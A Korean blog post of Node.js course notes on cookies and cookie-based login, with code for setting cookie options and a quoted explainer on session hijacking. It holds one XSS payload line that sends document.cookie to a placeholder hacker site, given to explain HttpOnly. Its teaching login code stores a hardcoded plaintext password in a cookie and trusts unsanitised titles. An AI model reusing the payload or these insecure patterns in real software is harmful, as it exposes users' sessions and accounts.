Nodejs

 

생활 코딩 강의 목록 :  https://opentutorials.org/module/3590

인프런 강의 목록 https://www.inflearn.com/course/node-js-express/dashboard

 

 

 

이 수업은 CC 라이센스를 따르고 있으며, 아래 링크 에서도 볼 수 있습니다.
Node.js-Express https://opentutorials.org/course/3370
쿠키와 인증 https://opentutorials.org/course/3387
세션과 인증 https://opentutorials.org/course/3400 passpor.js
https://opentutorials.org/course/3402
다중 사용자 https://opentutorials.org/course/3411 google login https://opentutorials.org/course/3413 facebook login
https://opentutorials.org/course/3414

 

 

WEB2 - Node.js 수업의 예제 코드 바로가기

 

 

소스 : https://github.com/braverokmc79/Nodejs-master

https://github.com/braverokmc79/Nodejs-master/tree/main2-cookie

 

 

 

쿠키와 인증

 

 

24. 쿠키와 인증 수업소개

 

 

 

25. 실습준비

 

 

 

 

 

26. 쿠키생성

 

cookie.js

const http = require('http');
http.createServer(function (request, response) {

    response.writeHead(200, {
        'Set-Cookie': ['yummy_cookie=choco', 'tasty_cookie=strawberry']
    });

    response.end("Cookie!!");
}).listen(3000);

 

 

실행

$node nodejs/cookie.js

 

 

 

 

27. 쿠키읽기

 

https://www.npmjs.com/package/cookie

 

$ npm i cookie

 

 

cookie.js

const http = require('http');
const cookie = require("cookie");

http.createServer(function (request, response) {
    console.log(request.headers.cookie);
    let cookies = {};
    if (request.headers.cookie !== undefined) {
        cookies = cookie.parse(request.headers.cookie);
    }

    console.log("cookies : ", cookies);
    response.writeHead(200, {
        'Set-Cookie': ['yummy_cookie=choco', 'tasty_cookie=strawberry']
    });

    response.end("Cookie!!");
}).listen(3000);

 

 

 

 

 

 

28. 쿠키의활용

 

 

 

 

 

 

 

 

29. Session 쿠키 VS Permanent 쿠키

 

https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Set-Cookie

 

cookie.js

const http = require('http');
const cookie = require("cookie");

http.createServer(function (request, response) {
    console.log(request.headers.cookie);
    let cookies = {};
    if (request.headers.cookie !== undefined) {
        cookies = cookie.parse(request.headers.cookie);
    }

    console.log("cookies : ", cookies);
    response.writeHead(200, {
        'Set-Cookie': ['yummy_cookie=choco', 'tasty_cookie=strawberry',
            `Permanent=cookies; Max-Age=${60*60*24*30}`
        ]
    });

    response.end("Cookie!!");
}).listen(3000);

 

 

 

 

 

 

 

30. 쿠키 옵션 - Secure & HttpOnly

 

 

cookie.js

const http = require('http');
const cookie = require("cookie");

http.createServer(function (request, response) {
    console.log(request.headers.cookie);
    let cookies = {};
    if (request.headers.cookie !== undefined) {
        cookies = cookie.parse(request.headers.cookie);
    }

    console.log("cookies : ", cookies);
    response.writeHead(200, {
        'Set-Cookie': [
            'yummy_cookie=choco',
            'tasty_cookie=strawberry',
            `Permanent=cookies; Max-Age=${60 * 60 * 24 * 30}`,
            'Secure=Secure; Secure',
            'HttpOnly=HttpOnly; HttpOnly'
        ]
    });

    response.end("Cookie!!");
}).listen(3000);

 

 

 

Cookie에 대한 이해

 

쿠키는 ASP.NET, PHP와 같은 특정 기술영역에 국한된 것도 아니고, 특정 Client나 Server에만 국한된 기술도 아닙니다. 쿠키는 수십 년 전부터 사용되어 왔으며 최근에는 HTTP에 있어서 없어서는 안될 정도로 광범위하게 이용되고 있습니다. 어떠한 서버도 HTTP통신을 한다면 쿠키를 주고 받을 수 있으며, 클라이언트에서도 쿠키에 접근하고 관리할 수 있습니다. 또한 HTTP와 HTTPS사이에도 쿠키를 교환할 수 있으며, 같은 도메인이라면 서로 다른 Scheme일지라도 쿠키를 공유할 수 있습니다.

쿠키는 서버에서도, 클라이언트에서도 생성할 수 있습니다. 일단 쿠키가 한번 생성되면 브라우저는 해당 쿠키 정보를 기억하게 됩니다. 그리고 이후의 모든 요청(Request)에 쿠키를 포함하여 서버로 전달합니다. 서버는 브라우저의 요청(Request)에 포함된 쿠키를 읽어 들일 수 있습니다.

쿠키를 이해하는데 있어 가장 중요한 부분 중 하나는 쿠키로 인해 야기되는 보안위협에 대해 이해하는 것입니다. 수많은 사이트들에서 민감한 개인정보를 쿠키에 저장하고 있으며, 해커들은 다양한 방법으로 이 쿠키를 탈취하고자 하기 때문입니다. 이러한 쿠키에 대한 보안 공격 중 가장 대중적인 것 중 하나는 바로 세션 하이재킹(Session hijacking) 공격 입니다.

알다시피 HTTP는 Stateless 프로토콜입니다. HTTP는 기본적으로 상태정보를 기억하지 못하기 때문에, 서버는 요청자가 누구인지, 같은 사람인지 다른 사람인지 식별 할 수 없습니다. 이러한 문제를 해결하기 위해, 서버는 사용자 식별정보를 쿠키에 저장하며, 쿠키에 저장된 정보를 통해 각 사용자를 구별합니다. 예를 들면, ASP.NET 서버는 사용자 마다 유일키를 생성하여 .ASPXAUTH라는 이름의 쿠키에 저장하며, 이를 통해 사용자를 식별합니다.

 

 

.ASPXAUTH=4A10163C1F3299AAADF4C90B2F56AE90F1502CF86CDE4F026A422D7820732A66445B16EECC79B47EEF4F4EF36CB7BF9AFD2A
[브라우저의 쿠키에 저장된 사용자 식별정보]

따라서 해커가 다른 사용자의 쿠키를 탈취하게 된다면, 해커는 쿠키에 포함된 사용자 식별정보를 바탕으로 다른 사용자로 위장 할 수 있게 됩니다. 서버는 쿠키를 바탕으로 사용자를 식별하기 때문에, 요청을 보낸 사람이 해커인지 알 수 가 없으며 모든 권한을 내어주게 됩니다.

쿠키를 훔치는 방법은 다양합니다. 예를 들면 공공 Wifi망의 통신패킷을 분석하거나, ISP사업자의 통신케이블을 감청하는 방법도 있습니다. 아니면, 사용자 컴퓨터에 심은 해킹프로그램을 통해 쿠키를 가로채는 방법도 있습니다.

 

HTTP Only Cookies

쿠키는 클라이언트에서 자바스크립트로 조회할 수 있기 때문에, 해커들은 자바스크립트로 쿠키를 가로채고자 시도를 하게 됩니다. 가장 대표적인 공격 중 하나가 CSS(Cross Site Scripting) 입니다.

 

location.href = 'http://해커사이트/?cookies=' + document.cookie;

 

해커가 위와 같은 게시물을 공개게시판에 작성할 경우, 이 게시물을 읽은 다른 사용자는 알아차리기도 전에 자신의 모든 쿠키를 해커에게 전송하게 됩니다.

이러한 CSS 취약점을 해결하는 방법은, 바로 브라우저에서 쿠키에 접근할 수 없도록 제한하는 것입니다. 이러한 역할을 하는 것이 바로 HTTP Only Cookie입니다. 개발자가 다음과 같이 간단한 접미사를 쿠키생성코드에 추가함으로써 활성화 할 수 있습니다.

 

 

Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly

 

가장 마지막에 HttpOnly라는 접미사만 추가함으로써 HTTP Only Cookie가 활성화 되며, 위에서 말한 XSS와 같은 공격이 차단되게 됩니다. HTTP Only Cookie를 설정하면 브라우저에서 해당 쿠키로 접근할 수 없게 되지만, 쿠키에 포함된 정보의 대부분이 브라우저에서 접근할 필요가 없기 때문에 HTTP Only Cookie는 기본적으로 적용하는 것이 좋습니다.

ASP.NET상에서 HTTP Only Cookie를 설정하는 방법은 매우 간단합니다. 쿠키를 추가하실 때 HttpOnly 속성을 true로 설정하시면 됩니다.

Response.Cookies.Add(new HttpCookie("쿠키명")
{
   Value = "쿠키 값",
   HttpOnly = true
});

 

HttpOnly의 기본값은 false입니다. 만약 기본값을 true로 설정하시려면 web.config에서 다음과 같이 수정하시면 됩니다.

<httpCookies httpOnlyCookies="true" />

 

Secure Cookies

HTTP Only Cookie를 사용하면 Client에서 Javascript를 통한 쿠키 탈취문제를 예방할 수 있습니다. 하지만, Javascript가 아닌 네트워크를 직접 감청하여 쿠키를 가로챌 수도 있습니다. 미국의 NSA를 포함한 각국의 정보기관들이 Wifi 망 분석, ISP 케이블 감청을 통해 쿠키 등 개인정보를 열람하고 있다는 사실은 더 이상 공공연한 비밀이 아닙니다.

이러한 통신상의 정보유출을 막기 위해, HTTPS 프로토콜을 사용하여 데이터를 암호화하는 방법이 주로 사용되고 있습니다. HTTPS를 사용하면 쿠키 또한 암호화되어 전송되기 때문에, 제3자는 내용을 알 수 없게 됩니다.

문제는 HTTPS로 전송되어야 할 정보가, 개발자의 부주의로 HTTP를 통해 유출되는 경우가 있습니다. 예를 들어 개발자가 다음과 같은 코드를 실수로 작성할 수 있습니다.

 

<img src="http://www.example.com/images/logo.png" />


 

브라우저는 http://로 시작되는 위 코드를 만나면 암호화되지 않은 상태로 쿠키를 서버로 전달하게 됩니다. 해커는 이 암호화되지 않은 요청정보를 가로채서 쿠키를 탈취하게 됩니다.

이러한 사고를 방지하는 방법은 쿠키를 생성할 때 secure 접미사를 사용하는 것입니다.

 

Set-Cookie: 쿠키명=쿠키값; path=/; secure

 

위와 같이 마지막에 secure라는 접미사를 사용하여 쿠키를 생성하면, 브라우저는 HTTPS가 아닌 통신에서는 쿠키를 전송하지 않습니다.

ASP.NET에서 구현하실 때는 HttpCookie 클래스의 Secure 속성을 true로 설정해 주시면 됩니다.

Response.Cookies.Add(new HttpCookie("쿠키명")
{
    Value = "쿠키 값",
    Secure = true
});

 

마찬가지로 Secure의 기본값은 false이기 때문에, 기본값을 true로 변경하고자 한다면 web.config에서 requireSSL을 true로 설정하시면 됩니다.

<httpCookies requireSSL="true" />

 

개발도구

ASafaWeb : URL을 분석하여, 예상 가능한 쿠키 취약점을 정리하여 보고해주는 사이트입니다. HttpOnly가 아닌 Cookie 내역과 HTTPS 요청이 있음에도 Secure를 사용하지 않은 쿠키를 보고서 형태로 정리해 줍니다.

 

 

출처: https://nsinc.tistory.com/121 [NakedStrength:티스토리]

 

 

 

 

 

 

31. 쿠키옵션 - path & domain

 

1) Path 해당 경로에서만 쿠키적용 가능

Path=path; Path=/cookie'

 

2)도메인이  서브도메민 포함해서  적용

o2.org 도메인일 경우 test.o2.org  서브 도메인도  쿠키가 적용 된다.

 

cookie.js

const http = require('http');
const cookie = require("cookie");

http.createServer(function (request, response) {
    console.log(request.headers.cookie);
    let cookies = {};
    if (request.headers.cookie !== undefined) {
        cookies = cookie.parse(request.headers.cookie);
    }

    console.log("cookies : ", cookies);
    response.writeHead(200, {
        'Set-Cookie': [
            'yummy_cookie=choco',
            'tasty_cookie=strawberry',
            `Permanent=cookies; Max-Age=${60 * 60 * 24 * 30}`,
            'Secure=Secure; Secure',
            'HttpOnly=HttpOnly; HttpOnly',
            'Path=path; Path=/cookie',
            'Domain=Domain; Domain=o2.org'
        ]
    });

    response.end("Cookie!!");
}).listen(3000);

 

 

 

 

 

32. 쿠키를 이용한 인증 기능 구현 - 소개

 

 

 

 

 

 

 

33. 인증구현 - UI 만들기

 

lesson2/main.js

  } else if (pathname === '/login') {

    fs.readdir('./data', function (error, filelist) {
      var title = 'Login';
      var list = template.list(filelist);
      var html = template.HTML(title, list, `
          <form action="/login_process" method="post">
            <p><input type="email" name="email" placeholder="email"></p>
            <p><input type="password" name="password" placeholder="password"></p>
            <p><input type="submit" value="로그인"></p>
          </form>
         
        `, ' <a href="/create">create</a>');
      response.writeHead(200);
      response.end(html);
    });


  } else {

 

 

 

 

 

 

 

 

34. 인증구현 - 로그인 쿠키 생성

 

lesson2/main.js

  } else if (pathname == '/login_process') {
    var body = '';
    request.on('data', function (data) {
      body = body + data;
    });
    request.on('end', function () {
      var post = qs.parse(body);
      if (post.email === 'egoing777@gmail.com' && post.password === "1111") {
        response.writeHead(302, {
          'Set-Cookie': [
            `email=${post.email}`,
            `password=${post.password}`,
            'nickname=egoing'
          ],
          Location: `/`
        });
        response.end();
      } else {
        response.end("who?");
      }

    });

  }

 

 

 

 

 

 

 

 

35. 인증구현 - 로그인 상태 체크

 

 

lesson2/main.js

~

~


function authentication(request, response) {
  var isOwner = false;
  var cookies = {}
  if (request.headers.cookie) {
    cookies = cookie.parse(request.headers.cookie);
  }
  console.log("cookies  :", cookies);
  if (cookies.email === "egoing777@gmail.com" && cookies.password === "1111") {
    isOwner = true;
  }

  return isOwner;
}

var app = http.createServer(function (request, response) {
  var _url = request.url;
  var queryData = url.parse(_url, true).query;
  var pathname = url.parse(_url, true).pathname;

  var isOwner = authentication(request, response);
  console.log("isOwner : ", isOwner);



~

~

 

 

 

 

 

 

 

 

36. 인증구현 - 로그인 상태를 UI에 반영

 

  authStatusUI(request, response)

lesson2/main.js

~

function authentication(request, response) {
  var isOwner = false;
  var cookies = {}
  if (request.headers.cookie) {
    cookies = cookie.parse(request.headers.cookie);
  }
  console.log("cookies  :", cookies);
  if (cookies.email === "egoing777@gmail.com" && cookies.password === "1111") {
    isOwner = true;
  }
  return isOwner;
}

function authStatusUI(request, response) {
  var authStatusUI = '<a href="/login">login</a>';
  if (authentication(request, response)) {
    authStatusUI = '<a href="/logout_process">logout</a>';
  }
  return authStatusUI;
}




~

  } else {
      fs.readdir('./data', function (error, filelist) {
        var filteredId = path.parse(queryData.id).base;
        fs.readFile(`data/${filteredId}`, 'utf8', function (err, description) {
          var title = queryData.id;
          var sanitizedTitle = sanitizeHtml(title);
          var sanitizedDescription = sanitizeHtml(description, {
            allowedTags: ['h1']
          });
          var list = template.list(filelist);
          var html = template.HTML(sanitizedTitle, list,
            `<h2>${sanitizedTitle}</h2>${sanitizedDescription}`,
            ` <a href="/create">create</a>
                <a href="/update?id=${sanitizedTitle}">update</a>
                <form action="delete_process" method="post">
                  <input type="hidden" name="id" value="${sanitizedTitle}">
                  <input type="submit" value="delete">
                </form>`,
            authStatusUI(request, response)
          );
          response.writeHead(200);
          response.end(html);
        });
      });
    }
  } else if (pathname === '/create') {

~

 

 

 

 

 

 

 

37. 인증구현 - 로그아웃

 

lesson2/main.js

 

~
  } else if (pathname == '/logout_process') {
    request.on('data', function (data) {
      body = body + data;
    });
    request.on('end', function () {
      response.writeHead(302, {
        'Set-Cookie': [
          `email=; Max-Age=0`,
          `password=; Max-Age=0`,
          'nickname=; Max-Age=0'
        ],
        Location: `/`
      });
      response.end();
    });

  }

~

 

 

 

 

 

 

 

38. 인증구현 - 접근제어

 

function authIsOwner(request, response) {
  var isOwner = false;
  var cookies = {}
  if (request.headers.cookie) {
    cookies = cookie.parse(request.headers.cookie);
  }
  console.log("cookies  :", cookies);
  if (cookies.email === "egoing777@gmail.com" && cookies.password === "1111") {
    isOwner = true;
  }
  return isOwner;
}

function authStatusUI(request, response) {
  var authStatusUI = '<a href="/login">login</a>';
  if (authIsOwner(request, response)) {
    authStatusUI = '<a href="/logout_process">logout</a>';
  }
  return authStatusUI;
}

 

    if (!authIsOwner(request, response)) {
      return response.end("Login required!!");
    }

 

lesson2/main.js

var http = require('http');
var fs = require('fs');
var url = require('url');
var qs = require('querystring');
var template = require('./lib/template.js');
var path = require('path');
var sanitizeHtml = require('sanitize-html');
const cookie = require("cookie");


function authIsOwner(request, response) {
  var isOwner = false;
  var cookies = {}
  if (request.headers.cookie) {
    cookies = cookie.parse(request.headers.cookie);
  }
  console.log("cookies  :", cookies);
  if (cookies.email === "egoing777@gmail.com" && cookies.password === "1111") {
    isOwner = true;
  }
  return isOwner;
}

function authStatusUI(request, response) {
  var authStatusUI = '<a href="/login">login</a>';
  if (authIsOwner(request, response)) {
    authStatusUI = '<a href="/logout_process">logout</a>';
  }
  return authStatusUI;
}

var app = http.createServer(function (request, response) {
  var _url = request.url;
  var queryData = url.parse(_url, true).query;
  var pathname = url.parse(_url, true).pathname;




  if (pathname === '/') {
    if (queryData.id === undefined) {
      fs.readdir('./data', function (error, filelist) {
        var title = 'Welcome';
        var description = 'Hello, Node.js';
        var list = template.list(filelist);
        var html = template.HTML(title, list,
          `<h2>${title}</h2>${description}`,
          `<a href="/create">create</a>`,
          authStatusUI(request, response)
        );
        response.writeHead(200);
        response.end(html);
      });
    } else {
      fs.readdir('./data', function (error, filelist) {
        var filteredId = path.parse(queryData.id).base;
        fs.readFile(`data/${filteredId}`, 'utf8', function (err, description) {
          var title = queryData.id;
          var sanitizedTitle = sanitizeHtml(title);
          var sanitizedDescription = sanitizeHtml(description, {
            allowedTags: ['h1']
          });
          var list = template.list(filelist);
          var html = template.HTML(sanitizedTitle, list,
            `<h2>${sanitizedTitle}</h2>${sanitizedDescription}`,
            ` <a href="/create">create</a>
                <a href="/update?id=${sanitizedTitle}">update</a>
                <form action="delete_process" method="post">
                  <input type="hidden" name="id" value="${sanitizedTitle}">
                  <input type="submit" value="delete">
                </form>`,
            authStatusUI(request, response)
          );
          response.writeHead(200);
          response.end(html);
        });
      });
    }
  } else if (pathname === '/create') {
    fs.readdir('./data', function (error, filelist) {
      var title = 'WEB - create';
      var list = template.list(filelist);
      var html = template.HTML(title, list, `
          <form action="/create_process" method="post">
            <p><input type="text" name="title" placeholder="title"></p>
            <p>
              <textarea name="description" placeholder="description"></textarea>
            </p>
            <p>
              <input type="submit">
            </p>
          </form>
        `, '', authStatusUI(request, response));
      response.writeHead(200);
      response.end(html);
    });
  } else if (pathname === '/create_process') {

    if (!authIsOwner(request, response)) {
      return response.end("Login required!!");
    }

    var body = '';
    request.on('data', function (data) {
      body = body + data;
    });
    request.on('end', function () {
      var post = qs.parse(body);
      var title = post.title;
      var description = post.description;
      fs.writeFile(`data/${title}`, description, 'utf8', function (err) {
        response.writeHead(302, { Location: `/?id=${title}` });
        response.end();
      })
    });
  } else if (pathname === '/update') {
    if (!authIsOwner(request, response)) {
      return response.end("Login required!!");
    }


    fs.readdir('./data', function (error, filelist) {
      var filteredId = path.parse(queryData.id).base;
      fs.readFile(`data/${filteredId}`, 'utf8', function (err, description) {
        var title = queryData.id;
        var list = template.list(filelist);
        var html = template.HTML(title, list,
          `
            <form action="/update_process" method="post">
              <input type="hidden" name="id" value="${title}">
              <p><input type="text" name="title" placeholder="title" value="${title}"></p>
              <p>
                <textarea name="description" placeholder="description">${description}</textarea>
              </p>
              <p>
                <input type="submit">
              </p>
            </form>
            `,
          `<a href="/create">create</a> <a href="/update?id=${title}">update</a>`,
          authStatusUI(request, response)
        );
        response.writeHead(200);
        response.end(html);
      });
    });
  } else if (pathname === '/update_process') {
    if (!authIsOwner(request, response)) {
      return response.end("Login required!!");
    }


    var body = '';
    request.on('data', function (data) {
      body = body + data;
    });
    request.on('end', function () {
      var post = qs.parse(body);
      var id = post.id;
      var title = post.title;
      var description = post.description;
      fs.rename(`data/${id}`, `data/${title}`, function (error) {
        fs.writeFile(`data/${title}`, description, 'utf8', function (err) {
          response.writeHead(302, { Location: `/?id=${title}` });
          response.end();
        })
      });
    });
  } else if (pathname === '/delete_process') {
    if (!authIsOwner(request, response)) {
      return response.end("Login required!!");
    }


    var body = '';
    request.on('data', function (data) {
      body = body + data;
    });
    request.on('end', function () {
      var post = qs.parse(body);
      var id = post.id;
      var filteredId = path.parse(id).base;
      fs.unlink(`data/${filteredId}`, function (error) {
        response.writeHead(302, { Location: `/` });
        response.end();
      })
    });
  } else if (pathname === '/login') {

    fs.readdir('./data', function (error, filelist) {
      var title = 'Login';
      var list = template.list(filelist);
      var html = template.HTML(title, list, `
          <form action="/login_process" method="post">
            <p><input type="email" name="email" placeholder="email"></p>
            <p><input type="password" name="password" placeholder="password"></p>
            <p><input type="submit" value="로그인"></p>
          </form>
         
        `, ' <a href="/create">create</a>', authStatusUI(request, response));
      response.writeHead(200);
      response.end(html);
    });

  } else if (pathname == '/login_process') {
    var body = '';
    request.on('data', function (data) {
      body = body + data;
    });
    request.on('end', function () {
      var post = qs.parse(body);
      if (post.email === 'egoing777@gmail.com' && post.password === "1111") {
        response.writeHead(302, {
          'Set-Cookie': [
            `email=${post.email}`,
            `password=${post.password}`,
            'nickname=egoing'
          ],
          Location: `/`
        });
        response.end();
      } else {
        response.end("who?");
      }

    });

  } else if (pathname == '/logout_process') {
    if (!authIsOwner(request, response)) {
      return response.end("Login required!!");
    }


    request.on('data', function (data) {
      body = body + data;
    });
    request.on('end', function () {
      response.writeHead(302, {
        'Set-Cookie': [
          `email=; Max-Age=0`,
          `password=; Max-Age=0`,
          'nickname=; Max-Age=0'
        ],
        Location: `/`
      });
      response.end();
    });

  } else {
    response.writeHead(404);
    response.end('Not found');
  }
});
app.listen(3000);

 

 

 

 

 

 

 

38. 수업을 마치며

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

nodejs

 

about author

PHRASE

Level 60  라이트

한가로운 시간은 무엇과도 바꿀 수 없는 재산이다. -소크라테스

댓글 ( 4)

댓글 남기기

작성